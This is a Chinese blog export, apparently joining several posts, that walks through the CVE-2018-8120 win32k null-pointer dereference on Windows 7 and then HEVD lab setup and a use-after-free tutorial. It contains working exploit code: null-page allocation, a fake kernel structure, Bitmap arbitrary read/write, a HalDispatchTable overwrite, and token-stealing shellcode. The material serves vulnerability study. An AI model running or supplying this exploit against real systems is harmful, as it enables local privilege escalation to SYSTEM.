v3 = *(_DWORD *)(pwinsta + 0x14); // 获取 pwinsta + 0x14 处的值,也就是 spkList
while ( *(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex )// 未判断指针内容直接引用,触发空指针解引用漏洞
{
v3 = *(_DWORD *)(v3 + 8);
if ( v3 == *(_DWORD *)(pwinsta + 0x14) )
return 0;
}
v4 = *(_DWORD *)(v3 + 0x2C);
if ( !v4 )
return 0;
if ( !*(_DWORD *)(v4 + 0x48) )
qmemcpy((void *)v4, piiex, 0x15Cu);
result = 1;
}
return result;
}

5月补丁反汇编如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex)
{
signed int result; // edx
int v3; // eax
int v4; // eax

if ( !pwinsta )
return 0;
result = *(_DWORD *)(pwinsta + 0x14);
if ( !result )
return 0;
v3 = *(_DWORD *)(pwinsta + 0x14);
while ( *(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex )
{
v3 = *(_DWORD *)(v3 + 8);
if ( v3 == result )
return 0;
}
v4 = *(_DWORD *)(v3 + 0x2C);
if ( !v4 )
return 0;
if ( !*(_DWORD *)(v4 + 0x48) )
qmemcpy((void *)v4, piiex, 0x15Cu);
return 1;
}

可以看到五月的补丁对于参数v3是否为零进行了一次检测,我们对比SetImeInfoEx函数的实现发现,也就是多了对成员域 spklList的检测,v3就是我们的spklList,该函数的主要作用是对扩展结构IMEINFO进行设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// nt4 源码
/**************************************************************************\
* SetImeInfoEx
*
* Set extended IMEINFO.
*
* History:
* 21-Mar-1996 wkwok Created
\**************************************************************************/

BOOL SetImeInfoEx(
PWINDOWSTATION pwinsta,
PIMEINFOEX piiex)
{
PKL pkl, pklFirst;

UserAssert(pwinsta->spklList != NULL);

pkl = pklFirst = pwinsta->spklList;

do {
if (pkl->hkl == piiex->hkl) {

/*
* Error out for non-IME based keyboard layout.
*/
if (pkl->piiex == NULL)
return FALSE;

/*
* Update kernel side IMEINFOEX for this keyboard layout
* only if this is its first loading.
*/
if (pkl->piiex->fLoadFlag == IMEF_NONLOAD) {
RtlCopyMemory(pkl->piiex, piiex, sizeof(IMEINFOEX));
}

return TRUE;
}
pkl = pkl->pklNext;

} while (pkl != pklFirst);

return FALSE;
}

同样的修复我们可以在ReorderKeyboardLayouts函数中看到,也是对spklList成员域进行了限制

1560870519272

ReorderKeyboardLayouts函数实现如下,可以看到函数也对spklList进行了调用,我们这里主要分析SetImeInfoEx函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// nt4 源码
VOID ReorderKeyboardLayouts(
PWINDOWSTATION pwinsta,
PKL pkl)
{
PKL pklFirst = pwinsta->spklList;

UserAssert(pklFirst != NULL);

/*
* If the layout is already at the front of the list there's nothing to do.
*/
if (pkl == pklFirst) {
return;
}
/*
* Cut pkl from circular list:
*/
pkl->pklPrev->pklNext = pkl->pklNext;
pkl->pklNext->pklPrev = pkl->pklPrev;

/*
* Insert pkl at front of list
*/
pkl->pklNext = pklFirst;
pkl->pklPrev = pklFirst->pklPrev;

pklFirst->pklPrev->pklNext = pkl;
pklFirst->pklPrev = pkl;

Lock(&pwinsta->spklList, pkl);
}

结合上面微软对于两个函数的修复,我们可以猜测这次的修复主要是对spklList成员域的错误调用进行修复,从SetImeInfoEx函数的交叉引用中,因为只有一处交叉引用,所以我们可以追溯到调用函数NtUserSetImeInfoEx,通过分析可以看到该函数的主要作用是对进程中的窗口进行设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
signed int __stdcall NtUserSetImeInfoEx(char *buf)
{
signed int v1; // esi
char *v2; // ecx
char v3; // al
signed int pwinsta; // eax
char piiex; // [esp+10h] [ebp-178h]
CPPEH_RECORD ms_exc; // [esp+170h] [ebp-18h]

UserEnterUserCritSec();
if ( *(_BYTE *)gpsi & 4 )
{
ms_exc.registration.TryLevel = 0;
v2 = buf;
if ( (unsigned int)buf >= W32UserProbeAddress )
v2 = (char *)W32UserProbeAddress;
v3 = *v2;
qmemcpy(&piiex, buf, 0x15Cu);
ms_exc.registration.TryLevel = 0xFFFFFFFE;
pwinsta = _GetProcessWindowStation(0);
v1 = SetImeInfoEx(pwinsta, &piiex);// 参数 pwinsta 由 _GetProcessWindowStation(0) 获得
// 参数 piiex 在 qmemcpy 函数中由 a1 拷贝得到,而 a1 是我们可控的传入参数
}
else
{
UserSetLastError(0x78);
v1 = 0;
}
UserSessionSwitchLeaveCrit();
return v1;
}

SetImeInfoEx函数中,我们可以看到传入的指针PWINDOWSTATION指向结构体tagWINDOWSTATION结构如下,也就是窗口站结构,其中偏移 0x14 处可以找到spklList,我们需要关注的点我会进行注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1: kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL// 关注点
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void

我们继续追溯到spklList指向的结构tagKL,可以看到是一个键盘布局对象结构体,结构体成员中我们可以看到成员piiex指向一个基于tagIMEINFOEX布局的扩展信息,而在SetImeInfoEx函数中,该成员作为第二个参数传入,作为内存拷贝的内容,我们还可以发现有两个很相似的指针pklNextpklPrev负责指向布局对象的前后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1: kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL// 关注点
+0x00c pklPrev : Ptr32 tagKL// 关注点
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__// 关注点
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX// 关注点
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B

piiex指向的tagIMEINFOEX的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
1: kd> dt win32k!tagIMEINFOEX
+0x000 hkl : Ptr32 HKL__
+0x004 ImeInfo : tagIMEINFO
+0x020 wszUIClass : [16] Wchar
+0x040 fdwInitConvMode : Uint4B
+0x044 fInitOpen : Int4B
+0x048 fLoadFlag : Int4B// 关注点
+0x04c dwProdVersion : Uint4B
+0x050 dwImeWinVersion : Uint4B
+0x054 wszImeDescription : [50] Wchar
+0x0b8 wszImeFile : [80] Wchar
+0x158 fSysWow64Only : Pos 0, 1 Bit
+0x158 fCUASLayer : Pos 1, 1 Bit

0x02:漏洞复现

通过上面对每个成员的分析,我们大概知道了函数之间的调用关系,这里再简单总结一下,首先当用户在R3调用CreateWindowStation生成一个窗口时,新建的 WindowStation 对象其偏移 0x14 位置的 spklList 字段的值默认是零,如果我们调用R0函数NtUserSetImeInfoEx,传入一个我们定义的 buf ,函数就会将 buf 传给 piiex 在传入 SetImeInfoEx 中,一旦调用了 SetImeInfoEx 函数,因为 spklList 字段是零,所以就会访问到零页内存,导致蓝屏,所以我们构造如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include<stdio.h>
#include<Windows.h>

#define IM_UI_CLASS_SIZE 16
#define IM_FILE_SIZE 80
#define IM_DESC_SIZE 50

typedef struct {
DWORD dwPrivateDataSize;
DWORD fdwProperty;
DWORD fdwConversionCaps;
DWORD fdwSentenceCaps;
DWORD fdwUICaps;
DWORD fdwSCSCaps;
DWORD fdwSelectCaps;
} tagIMEINFO;

typedef struct {
HKL hkl;
tagIMEINFO ImeInfo;
WCHAR wszUIClass[IM_UI_CLASS_SIZE];
DWORD fdwInitConvMode;
BOOL fInitOpen;
BOOL fLoadFlag;
DWORD dwProdVersion;
DWORD dwImeWinVersion;
WCHAR wszImeDescription[IM_DESC_SIZE];
WCHAR wszImeFile[IM_FILE_SIZE];
CHAR fSysWow64Only : 1;
BYTE fCUASLayer : 1;
} tagIMEINFOEX;

// 通过系统调用实现NtUserSetImeInfoEx函数
static
BOOL
__declspec(naked)
NtUserSetImeInfoEx(tagIMEINFOEX* imeInfoEx)
{
__asm { mov eax, 1226h };
__asm { lea edx, [esp + 4] };
__asm { int 2eh };
__asm { ret };
}

int main()
{
// 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
HWINSTA hSta = CreateWindowStation(
0,//LPCSTR lpwinsta
0,//DWORD dwFlags
READ_CONTROL,//ACCESS_MASK dwDesiredAccess
0//LPSECURITY_ATTRIBUTES lpsa
);

// 和窗口当前进程关联起来
SetProcessWindowStation(hSta);

char buf[0x4];
memset(buf, 0x41, sizeof(buf));

// WindowStation->spklList字段为0,函数继续执行将触发0地址访问异常
NtUserSetImeInfoEx((PVOID)&buf);

return 0;
}

运行发现果然蓝屏了,问题出在 win32k.sys

1565265591357

我们通过蓝屏信息定位到问题地址,确实是我们前面所说的SetImeInfoEx函数

1565265882939

0x03:漏洞利用

利用思路

我们利用的思路首先可以想到因为是在win 7的环境中,我们可以在零页构造一些结构,所以我们这里首先获得并调用申请零页的函数NtAllocateVirtualMemory,因为内存对齐的问题我们这里申请大小的参数设置为 1 以申请到零页内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 申明函数
*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");

if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}

// 零页申请内存
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;

printf("[+] Started to alloc zero page");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+] Failed to alloc zero page!\n");
system("pause");
return 0;
}

ZeroMemory(Zero_addr, RegionSize);
printf(" => done!\n");

申请到内存我们就需要开始思考如何进行构造,我们再详细回顾一下漏洞复现例子中的一些函数,根据前面的例子我们知道,需要使用到CreateWindowStation创建窗口函数,详细的调用方法如下

1
2
3
4
5
6
HWINSTA CreateWindowStationA(
LPCSTR lpwinsta,
DWORD dwFlags,
ACCESS_MASK dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpsa
);

创建好窗口站对象之后我们还需要将当前进程和窗口站对应起来,需要用到 SetProcessWindowStation 函数将指定的窗口站分配给调用进程。这使进程能够访问窗口站中的对象,如桌面、剪贴板和全局原子。窗口站上的所有后续操作都使用授予hWinSta的访问权限

1
2
3
BOOL SetProcessWindowStation(
HWINSTA hWinSta
);

最后一步就是调用xxNtUserSetImeInfoEx函数蓝屏,我们这里能做手脚的就是给xxNtUserSetImeInfoEx函数传入的参数piiex

1
2
3
// nt4 源码
BOOL NtUserSetImeInfoEx(
IN PIMEINFOEX piiex);

我们在IDA中继续分析一下并粗略的构造一个思路,这里我根据结构重新注释修复了一下 IDA 反汇编的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
bool __stdcall SetImeInfoEx(DWORD *pwinsta, DWORD *piiex)
{
bool result; // al
DWORD *spklList; // eax
DWORD *tagKL_piiex; // eax

result = (char)pwinsta;
if ( pwinsta )
{
spklList = (DWORD *)pwinsta[5]; // pwinsta 指向 tagWINDOWSTATION 结构
// pwinsta[5] == tagWINDOWSTATION->spklList
while ( spklList[5] != *piiex ) // spklList 指向 tagKL 结构
// spklList[5] == tagKL->hkl
// tagKL->hkl == &piiex 绕过第一个检验
{
spklList = (DWORD *)spklList[2];
if ( spklList == (DWORD *)pwinsta[5] )
return 0;
}
tagKL_piiex = (DWORD *)spklList[0xB]; // spklList[0xB] == tagKL->piiex
if ( !tagKL_piiex ) // tagKL->piiex 不能为零绕过第二个检验
return 0;
if ( !tagKL_piiex[0x12] ) // piiex 指向 tagIMEINFOEX 结构
// piiex[0x12] == tagIMEINFOEX->fLoadFlag
// 这里 tagIMEINFOEX->fLoadFlag 需要为零才能执行拷贝函数
qmemcpy(tagKL_piiex, piiex, 0x15Cu);
result = 1;
}
return result;
}

需要清楚的是,我们最后SetImeInfoEx中的拷贝函数会给我们带来什么作用,他会把我们传入的piiex拷贝到tagKL->piiex中,拷贝的大小是 0x15C ,我们这里其实想到的是拷贝之后去覆盖 HalDispatchTable+0x4的位置,然后调用NtQueryIntervalProfile函数提权,所以我们只需要覆盖四个字节,为了达到更精准的覆盖我们想到了 win10 中的滥用Bitmap对象达到任意地址的读和写,那么在 win 7 中我们如何运用这个手法呢?其实很简单,原理上和 win 10 相同,只是我们现在有个问题,要达到任意地址的读和写,我们必须得让hManagerPrvScan0指向hworkerPrvScan0,我们如何实现这个目标呢?聪明的你一定想到了前面的拷贝函数,让我们先粗略的构造一个利用思路:

  • 初始化申请零页内存
  • 新建一个窗口并与当前线程关联
  • 申请并泄露Bitmap中的PrvScan0地址
  • 在零页构造结构体绕过检查实现能够调用拷贝函数
  • 构造xxNtUserSetImeInfoEx函数的参数并调用实现hManagerPrvScan0指向hworkerPrvScan0
  • HalDispatchTable+0x4内容写为shellcode的内容
  • 调用NtQueryIntervalProfile函数运行shellcode提权

xxNtUserSetImeInfoEx参数构造

有了思路我们现在就只差时间了,慢慢的调试总能给我们一个完美的结果(吗),我们知道NtUserSetImeInfoEx函数的参数是一个tagIMEINFOEX结构而tagKL则指向这个结构,根据前面IDA中的注释,我们知道我们需要绕过几个地方的检验,从检验中我们可以发现需要做手教的地方分别是tagKL->hkltagKL->piiex,我们的tagKL->hkl需要和传入的piiex地址一致,tagKL->piiex这个结构有两处检验,第一处是自己不能为空,第二处是tagIMEINFOEX->fLoadFlag也必须赋值,观察Bitmap的结构,我们知道 +0x2c 偏移处刚好不为零,所以我们考虑如下构造,把tagKL->piiex赋值为pManagerPrvScan0,把tagKL->hkl赋值为pWorkerPrvScan0,为了使传入的piiex与我们的tagKL->hkl相等,我们将其构造为pWorkerPrvScan0的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DWORD* faketagKL = (DWORD*)0x0;
// 手动构造 pWorkerPrvScan0 结构
*(DWORD*)((PBYTE)& fakepiiex + 0x0) = pWorkerPrvScan0;
*(DWORD*)((PBYTE)& fakepiiex + 0x4) = 0x104;
*(DWORD*)((PBYTE)& fakepiiex + 0x8) = 0x00001b97;
*(DWORD*)((PBYTE)& fakepiiex + 0xC) = 0x00000003;
*(DWORD*)((PBYTE)& fakepiiex + 0x10) = 0x00010000;
*(DWORD*)((PBYTE)& fakepiiex + 0x18) = 0x04800200;
printf("[+] piiex address is : 0x%p\n", fakepiiex); // pWorkerPrvScan0
printf("[+] &piiex address is : 0x%p\n", &fakepiiex);
printf("[+] faketagKL address is : 0x%p\n", faketagKL);
// 绕过检验
*(DWORD*)((PUCHAR)faketagKL + 0x14) = pWorkerPrvScan0; // tagKL->hkl
*(DWORD*)((PUCHAR)faketagKL + 0x2c) = pManagerPrvScan0; // tagKL->piiex
xxNtUserSetImeInfoEx(&fakepiiex); // 拷贝函数实现 pManagerPrvScan0->pWorkerPrvScan0

xxNtUserSetImeInfoEx函数之后下断点你会发现已经实现了pManagerPrvScan0->pWorkerPrvScan0,这时我们就可以尽情的任意读写了

1565435583152

GetShell

最后提权的过程还是和以前一样,覆盖HalDispatchTable+0x4函数指针,然后调用NtQueryIntervalProfile函数达到运行shellcode的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
VOID GetShell()
{
DWORD interVal = 0;
DWORD32 halHooked = GetHalOffset_4();

NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
//__debugbreak();
writeOOB(halHooked, (PVOID)& ShellCode, sizeof(DWORD32));
// 1. hManagerPrvScan0->hworkerPrvScan0->HalDispatchTable+0x4
// 2. hManagerPrvScan0->hworkerPrvScan0->HalDispatchTable+0x4->shellcode

// 执行shellcode
NtQueryIntervalProfile(0x1234, &interVal);
}

最终整合一下思路和代码我们就可以提权了(不要在意这盗版的win 7…),效果如下,详细的代码参考 => 这里

2018-8120

0x04:后记

这个漏洞也可以在win 7 x64下利用,后续我会考虑把64位的利用代码完善一下,思路都差不多,主要修改的地方是偏移和汇编代码的嵌入问题,这个漏洞主要是在零页的构造,如果在win 8中就很难利用,毕竟没有办法在零页申请内存

参考资料:

[+] https://www.freebuf.com/vuls/174183.html

[+] https://xiaodaozhi.com/exploit/149.html

]]>
<h1 id="0x00:前言"><a href="#0x00:前言" class="headerlink" title="0x00:前言"></a>0x00:前言</h1><p>2018年5月微软发布了一次安全补丁,其中有一个是对内核空指针解引用的修复,本片文章从补丁对比出发,
Windows-Kernel-Exploit https://thunderjie.github.io/2019/06/28/Windows-Kernel-Exploit/ 2019-06-28T15:08:10.000Z 2020-05-07T03:27:01.270Z 环境搭建

0x00:前言

这一系列文章是记录我在Windows内核漏洞学习的过程,我把他们整合成了一篇,覆盖了大部分漏洞的类型,既然是第0篇,那肯定是着重点放在环境的搭建和介绍,我的打算是先把HEVD中的大部分漏洞走一遍,实验环境是在Windows 7 x86 sp1,你需要安装的主要内容如下:

0x01:环境安装

下面我简要说一下环境的配置,配置环境是一件麻烦的事情,不同的时期会有不同的新工具和版本,我们需要的东西只是一个虚拟机,调试器和驱动加载工具,所以如果下面的方法你不能得到理想的效果,可以参考许多其他最新的文章

windbg

我们第一步需要准备的就是一个Windows7 x86 sp1的虚拟机了,虚拟机就不多解释如何安装了,当你安装好了虚拟机之后你还需要安装一个内核调试工具windbg,如果你是一个 pwn 选手,那你肯定熟悉 gdb 调试,如果你是 reverse 选手,那你肯定熟悉 OD 调试,但是我们现在是对内核调试,需要用windbg调试,建议使用windbg官方预览版,进去之后点击获取就会在微软官方应用商城下载

下载之后我们需要对符号路径进行设置,这是我自己的设置,根据自己HEVD的路径不同,选择填入自己的路径

下面是我的路径信息

1
2
3
4
5
6
C:\ Symbols
SRV*C:\MyLocalSymbols*http://msdl.microsoft.com/download/symbols

srv*C:\symbols_folder*http://msdl.microsoft.com/download/symbols
D:\kernel study\kernel base tools\HEVD\i386
SRV*c:\mysymbol* http://msdl.microsoft.com/download/symbols

VirtualKD

VirtualKD 在这里下载,下载完之后我们打开 Virtual Machine monitor ,点击 Debugger path 之后选择我们调试器的路径就可以用了

双击调试的过程动态图在这里

HEVD + OSR loader

安装之后按如下操作即可加载HEVD驱动,开启服务

准备就绪

当上面的步骤都做完时,用windbg打印lm m H*命令,点击蓝色的HEVD,再点击蓝色的Browse all global symbols,能解析出地址就说明一切准备就绪,如下图

0x02:后续

后面的文章我们会用HEVD来构造各种漏洞环境,依次在Windows 7 x86 sp1下感受Windows的pwn和Linux的有何区别,如果你不知道该准备些什么知识的时候,试着去了解一些驱动相关的知识,当然逆向的基础不能少,你需要掌握一些基本的汇编语言,准备的过程可能会出现许许多多奇怪的问题,这个时候就需要你去慢慢百度解决了,一定要有耐心,还有一些基础的工具你也需要提前准备好(IDA,VS,源码查看工具等等)

0x03:UAF

这是我总结的Windows kernel exploit系列的第一部分,前一篇我们讲了环境的配置,这一篇从简单的UAF入手,第一篇我尽量写的详细一些,实验环境是Windows 7 x86 sp1,研究内核漏洞是一件令人兴奋的事情,希望能通过文章遇到更多志同道合的朋友,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

提权原理

首先我们要明白一个道理,运行一个普通的程序在正常情况下是没有系统权限的,但是往往在一些漏洞利用中,我们会想要让一个普通的程序达到很高的权限就比如系统权限,下面做一个实验,我们在虚拟机中用普通权限打开一个cmd然后断下来,用!dml_proc命令查看当前进程的信息

1
2
3
4
5
6
7
8
9
kd> !dml_proc
Address PID Image file name
865ce8a8 4 System
87aa9970 10c smss.exe
880d4d40 164 csrss.exe
881e6200 198 wininit.exe
881e69e0 1a0 csrss.exe
...
87040ca0 bc0 cmd.exe

我们可以看到System的地址是 865ce8a8 ,cmd的地址是 87040ca0 ,我们可以通过下面的方式查看地址中的成员信息,这里之所以 +f8 是因为token的位置是在进程偏移为 0xf8 的地方,也就是Value的值,那么什么是token?你可以把它比做等级,不同的权限等级不同,比如系统权限等级是5级(最高),那么普通权限就好比是1级,我们可以通过修改我们的等级达到系统的5级权限,这也就是提权的基本原理,如果我们可以修改进程的token为系统的token,那么就可以提权成功,我们手动操作一次下面是修改前token值的对比

1
2
3
4
5
6
7
8
kd> dt nt!_EX_FAST_REF 865ce8a8+f8
+0x000 Object : 0x8a201275 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8a201275 // system token
kd> dt nt!_EX_FAST_REF 87040ca0+f8
+0x000 Object : 0x944a2c02 Void
+0x000 RefCnt : 0y010
+0x000 Value : 0x944a2c02 // cmd token

我们通过ed命令修改cmd token的值为system token

1
2
3
4
5
kd> ed 87040ca0+f8 8a201275
kd> dt nt!_EX_FAST_REF 87040ca0+f8
+0x000 Object : 0x8a201275 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8a201275

whoami命令发现权限已经变成了系统权限

1

我们将上面的操作变为汇编的形式如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h]// 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8]// 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid

// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}

解释一下上面的代码,fs寄存器在Ring0中指向一个称为KPCR的数据结构,即FS段的起点与 KPCR 结构对齐,而在Ring0中fs寄存器一般为0x30,这样fs:[124]就指向KPRCB数据结构的第四个字节。由于 KPRCB 结构比较大,在此就不列出来了。查看其数据结构可以看到第四个字节指向CurrentThead(KTHREAD类型)。这样fs:[124]其实是指向当前线程的_KTHREAD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB

再来看看_EPROCESS的结构,+0xb8处是进程活动链表,用于储存当前进程的信息,我们通过对它的遍历,可以找到system的token,我们知道system的PID一直是4,通过这一点我们就可以遍历了,遍历到系统token之后替换就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
...
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

UAF原理

如果你是一个pwn选手,那么肯定很清楚UAF的原理,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。类比Linux的内存管理机制,Windows下的内存申请也是有规律的,我们知道ExAllocatePoolWithTag函数中申请的内存并不是胡乱申请的,操作系统会选择当前大小最合适的空闲堆来存放它。如果你足够细心的话,在源码中你会发现在UseUaFObject中存在g_UseAfterFreeObject->Callback();的片段,如果我们将Callback覆盖为shellcode就可以提权了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;

PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;

NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;

PAGED_CODE();

__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");

if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback(); // g_UseAfterFreeObject->shellcode();
}

Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

0x02:漏洞利用

利用思路

如果我们一开始申请堆的大小和UAF中堆的大小相同,那么就可能申请到我们的这块内存,假如我们又提前构造好了这块内存中的数据,那么当最后释放的时候就会指向我们shellcode的位置,从而达到提取的效果。但是这里有个问题,我们电脑中有许许多多的空闲内存,如果我们只构造一块假堆,我们并不能保证刚好能够用到我们的这块内存,所以我们就需要构造很多个这种堆,换句话说就是堆海战术吧,如果你看过0day安全这本书,里面说的堆喷射也就是这个原理。

利用代码

根据上面我们已经得到提权的代码,相当于我们只有子弹没有枪,这样肯定是不行的,我们首先伪造环境

1
2
3
4
5
6
7
8
9
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;

